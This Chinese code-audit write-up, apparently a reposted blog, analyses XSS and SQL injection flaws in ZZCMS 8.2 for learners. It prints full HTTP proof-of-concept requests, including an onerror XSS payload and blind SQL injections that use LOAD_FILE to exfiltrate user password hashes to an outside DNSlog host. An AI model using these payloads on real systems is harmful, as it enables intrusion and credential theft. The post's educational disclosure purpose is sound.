stripfxg php,代码审计| 适合练手的ZZCMS8.2漏洞
0x00 **背景**
本周,分析了下zzcms8.2的源碼,發現了蠻多問題的,覺得這個源碼適合萌新們練手或入坑PHP的代碼審計,發出一些我發現的問題,當然這個源碼還有很多問題,本篇僅對部分漏洞進行分析,至于如何GetShell我會在下周分享出我的方法。期待與師傅們的交流討論。
0x01 **審計過程**
XSS**相關問題**
0x00 **相關環境**
源碼信息:ZZCMS 8.2問題文件:\zzcms\zzcms8.2\install\step_6.php漏洞類型:反射型XSS站點地址:
0x01 **漏洞分析**
在\zzcms\zzcms8.2\install\step_6.php中的第10-11行中得到如下代碼塊。
因為\zzcms\zzcms8.2\install\index.php文件的第8-9行中使用了注冊變量的操作。
且在\zzcms\zzcms8.2\install\index.php文件的第123行中包含了\zzcms\zzcms8.2\install\step_6.php文件。
因此從注冊變量再到輸出整個數據的傳遞過程沒有做任何的安全處理,所以存在反射型XSS等攻擊。
0x02 **漏洞復現**
進行如下請求,便可以觸發JS代碼。POST /install/index.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 62
Referer: [http://127.0.0.1/install/index.php](http://127.0.0.1/install/index.php)
Cookie: ECS[visit_times]=4; ECS_ID=0c10cf200fe52e4044f277d2a4fb4391514db71d; ECSCP_ID=946e425af3501b9e1b2d360a76b2cffa0f44f617; PHPSESSID=r3rd91v2sqku4qncj0vp0q9u43
Connection: close
Upgrade-Insecure-Requests: 1
admin=admin&adminpwdtrue=admin&step=6
1x00 **相關環境**
源碼信息:ZZCMS 8.2問題文件:\zzcms\zzcms8.2\zx\show.php漏洞類型:存儲型XSS漏洞站點地址:
1x01 **漏洞分析**
首先分析輸入位置:在\zzcms\zzcms8.2\user\zxsave.php文件中的第51-57行中的如下代碼塊中將留言的內容插入到數據庫中。
在\zzcms\zzcms8.2\user\zxsave.php文件的第3行中包含了/inc/conn.php文件,
然后在\zzcms\zzcms8.2\inc\conn.php文件中包含了/inc/stopsqlin.php文件。
在\zzcms\zzcms8.2\inc\stopsqlin.php文件中的第6-13行,對傳入的數據的字符進行了實體化和轉義處理。
因此編輯資訊操作存在數據庫中是以關鍵符號實體化和轉義后存入。
然后分析輸出位置:在\zzcms\zzcms8.2\zx\show.php文件中的第36-40行中從數據庫中取出數據,然后對content列做stripfxg處理。
跟入stripfxg方法,在\zzcms\zzcms8.2\inc\function.php文件的第577行發現該方法,分析該方法知道是對傳入的數據進行實體化和轉義的還原操作,因此content列的數據經過該方法的處理后,便還原為原本的字符串。
最后在155-181行中的代碼是調用showcontent和Payjf等方法,將數據輸出到頁面上,但是也沒有對一些危險字符進行安全處理,所以此處存在存儲型XSS。
類似的問題該源碼還存在許多位置,大家可以自行發現。
1x02 **漏洞復現**
注冊普通會員后,登陸到個人中心進行發資訊操作。
然后進行如下操作,將payload存入到數據庫中。
發布后訪問該資訊便會觸發XSS。
當然也可直接進行如下操作,將payload存入數據庫,然后再訪問資訊觸發XSS。POST /user/zxsave.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 242
Referer: [http://127.0.0.1/user/zxmodify.php?id=5](http://127.0.0.1/user/zxmodify.php?id=5)
Cookie: bdshare_firstime=1521075384018; UserName=Thinking; PassWord=05551a1478ef9b6aed2749f4b2fe45dd
Connection: close
Upgrade-Insecure-Requests: 1
bigclassid=0&smallclassid=0&title=1&link=&laiyuan=zzcms&content=%3Cimg+onerror%3D%22alert%601%60%22+src%3D%220%22+%2F%3Eaaaaaaaaaaa&keywords=1&description=&groupid=0&jifen=0&Submit=%E5%8F%91+%E5%B8%83&id=5&editor=Thinking&page=1&action=modify
SQL**注入問題:**
0x00 **相關環境**
源碼信息:ZZCMS 8.2問題文件:\zzcms\zzcms8.2\inc\function.php漏洞類型:SQL注入漏洞站點地址:
0x01 **漏洞分析**
在\zzcms\zzcms8.2\user\check.php文件的第19行中,在執行SQL語句的時候使用了getip方法獲取登錄IP然后拼接到SQL中
跟入getip方法,在\zzcms\zzcms8.2\inc\function.php文件中的第100行發現代碼塊,通過分析該方法,發現并沒有對傳入的IP進行合規判斷,又將方法的結果返回到調用的位置,所以此處存在SQL注入,經過分析發現有多處使用了getip方法與數據進行拼接,所以還有許多漏洞等待挖掘。
而getip方法被使用的位置也是有很多處,大家也可自行發現其他位置的安全問題。
0x02 **漏洞復現**
進行如下請求,注入的位置在client-ip,由于數據沒有進行回顯,所以可以利用DNSlog或者盲注獲取數據。POST /user/logincheck.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 106
Referer: [http://127.0.0.1/user/login.php](http://127.0.0.1/user/login.php)
Cookie: PHPSESSID=7fto4uo32lis3t4caar14iuk74; bdshare_firstime=1521075384018
client-ip:127.0.0.9'and (select LOAD_FILE(CONCAT(0x5c5c,(select hex(GROUP_CONCAT(username,0x7e,passwordtrue)) from zzcms_user where 1 LIMIT 1),0x2e6d7973716c2e38353731653539342e326d312e70772f2f616263)))#
Connection: close
Upgrade-Insecure-Requests: 1
username=Thinking&password=thinkingpwd&yzm=33&fromurl=http%3A%2F%2F127.0.0.1%2F&Submit=%E7%99%BB+%E5%BD%95
進行如上請求后查看dnslog可以看到返回的結果,對結果進行unhex可以得到明文信息。
1x00 **相關環境**
源碼信息:ZZCMS 8.2問題文件:\zzcms\zzcms_xm8.2\user\del.php漏洞類型:SQL注入漏洞站點地址:
1x01 **漏洞分析**
在\zzcms\zzcms8.2\user\del.php文件的第138-141行中,當$tablename不滿足if和elseif 的條件的時候,便會進入到如下代碼塊。
因為注入的位置是表名,因此可以不需要引入符號進行閉合,所以就可以無視/inc/stopsqlin.php文件中的安全處理規則,所以此處可以直接進行SQL注入。
1x02 **漏洞復現**
注冊用戶后等,然后進行如下請求,由于tablename參數的傳入會經過/inc/stopsqlin.php文件進行處理,且此處是屬于盲注,可以使用DNSlog獲取數據,然后在將字符進行16進制編碼,避免使用引號引入。POST /user/del.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 282
Referer: [http://127.0.0.1//user/zxmanage.php](http://127.0.0.1//user/zxmanage.php)
Cookie: PHPSESSID=r3rd91v2sqku4qncj0vp0q9u43; bdshare_firstime=1521075384018; UserName=Thinking; PassWord=3a923a7d00ee3e041d018b2708ee9994
Connection: close
Upgrade-Insecure-Requests: 1
id%5B%5D=1&submit=%E5%88%A0%E9%99%A4%0D%0A&pagename=zxmanage.php%3Fpage%3D1&tablename=zzcms_zx union select 1,LOAD_FILE(CONCAT(0x5c5c,(select hex(GROUP_CONCAT(username,0x7e,passwordtrue)) from zzcms_user where 1 LIMIT 1),0x2e6d7973716c2e38353731653539342e326d312e70772f2f616263))#
進行如上請求后可以在dnslog上獲取到數據。
2x00 **相關環境**
源碼信息:ZZCMS 8.2問題文件:\zzcms\zzcms8.2\user\msg.php漏洞類型:SQL注入漏洞站點地址:
2x01 **漏洞分析**
在\zzcms\zzcms8.2\user\msg.php文件中的第29-36行中,使用了stripfxg方法對POST傳入的info_content參數的值進行處理,雖然該源碼會對傳入的參數的值進行實體化和轉義處理,但是此處由于使用stripfxg方法會還原為原本的數據,因此可以引入單引號,所以存在SQL注入漏洞。
2x02 **漏洞復現**
進行如下請求,然后可以在DNSlog上獲取到數據。POST /user/msg.php?action=savedata&saveas=modify HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 243
Referer: [http://127.0.0.1/user/msg.php?action=modify&id=1](http://127.0.0.1/user/msg.php?action=modify&id=1)
Cookie: PHPSESSID=r3rd91v2sqku4qncj0vp0q9u43; bdshare_firstime=1521075384018; UserName=Thinking; PassWord=05551a1478ef9b6aed2749f4b2fe45dd
Connection: close
Upgrade-Insecure-Requests: 1
info_content=aaaaaaaaaaa'^(select LOAD_FILE(CONCAT(0x5c5c,(select hex(GROUP_CONCAT(username,0x7e,passwordtrue)) from zzcms_user where 1 LIMIT 1),0x2e6d7973716c2e38353731653539342e326d312e70772f2f616263)))#&id=1&Submit2=%E4%BF%AE%E6%94%B9%0D%0A
0x02 **小結**
本篇列舉了ZZCMS8.25版本的 XSS與SQL注入的問題,大家如果有發現其他方法好玩的洞也歡迎與我一同聊聊thinking_balabala@163.com,期待與師傅們的各種討論,期待交流下周的GetShell方法吧。
與50位技術專家面對面20年技術見證,附贈技術全景圖總結
以上是生活随笔為你收集整理的stripfxg php,代码审计| 适合练手的ZZCMS8.2漏洞的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 3.9 分钟训完 GPT-3,英伟达 H
- 下一篇: 逆水寒行酒探案任务怎么做要找的人在哪